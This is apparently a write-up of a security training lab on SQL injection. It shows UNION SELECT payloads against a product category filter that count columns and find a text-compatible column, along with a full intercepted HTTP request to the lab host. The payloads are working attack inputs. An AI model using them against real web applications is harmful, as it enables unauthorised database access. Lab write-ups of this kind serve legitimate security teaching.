


## Lab 4: SQL injection UNION attack, finding a column containing text


The Main Webpage of the Lab4 is below, and in the Lab Description they stated that there is SQL Injection Vulnerability in the Product Category Filter, and this Lab4 is a Continuation of the Lab3 after Determining the Number of Columns, the next step is to identify a column that is compatible with string data.

The Below is the Main page of Lab4,

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Make the database retrieve the string: '5CON3r'

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Our Objective is to find Number of Columns in the database and find Which Column Contains String Datatype and print the Following string: **5CON3r**

We are going to intercept the category filter in the Burpsuite and determine the number of columns.

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Pets' UNION SELECT **NULL,NULL,NULL--**

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From the result, we found that database table contains 3 columns. Next Step is to Determine column contains string datatype.

```
GET /filter?category=Pets'+UNION+SELECT+'5CON3r',NULL,NULL-- HTTP/2
Host: 0ae600ec0419924282dbe2c5006c002c.web-security-academy.net
Cookie: session=ZE3S1xkcMbRYQgBxT0DvpvMYXTf2j4pH
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae600ec0419924282dbe2c5006c002c.web-security-academy.net/filter?category=Pets
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
```

GET /filter?category=Pets'+UNION+SELECT+'5CON3r',NULL,NULL--

The above payload is sent to the server to determine which column contains string datatype.



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Make the database retrieve the string: '5CON3r'

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### Internal Server Error

Internal Server Error

The first column is not string datatype as it is producing the internal server error, we need to enumerate each column.



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Pets' UNION SELECT NULL, '5CON3r', NULL--

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5CON3r

We found that 2<sup>nd</sup> column in the database table contains string datatype.

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